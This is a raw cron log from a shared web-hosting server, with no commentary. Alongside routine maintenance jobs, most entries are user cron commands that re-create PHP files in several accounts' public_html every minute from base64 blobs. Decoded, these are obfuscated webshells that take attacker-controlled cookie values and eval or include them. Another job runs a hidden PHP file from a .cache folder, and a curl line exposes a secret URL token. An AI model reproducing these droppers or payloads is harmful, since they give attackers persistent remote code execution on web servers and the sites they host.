Mar  1 17:51:02 medusa CROND[23725]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:52:02 medusa CROND[14998]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:52:02 medusa CROND[14999]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:52:02 medusa CROND[15000]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:52:02 medusa CROND[15003]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:52:02 medusa CROND[15004]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:52:02 medusa CROND[15005]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:52:02 medusa CROND[15016]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 17:52:02 medusa CROND[15017]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 17:52:02 medusa CROND[15018]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:52:02 medusa CROND[15019]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:52:02 medusa CROND[15021]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:52:02 medusa CROND[15022]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:52:02 medusa CROND[15030]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:53:01 medusa CROND[6785]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:53:02 medusa CROND[6869]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:53:02 medusa CROND[6870]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:53:02 medusa CROND[6873]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 17:53:02 medusa CROND[6875]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:53:02 medusa CROND[6876]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:53:02 medusa CROND[6879]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:53:02 medusa CROND[6882]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:53:02 medusa CROND[6883]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:53:02 medusa CROND[6885]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:53:02 medusa CROND[6886]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:53:02 medusa CROND[6890]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:54:01 medusa CROND[30432]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 17:54:01 medusa CROND[30431]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:54:01 medusa CROND[30433]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:54:01 medusa CROND[30434]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
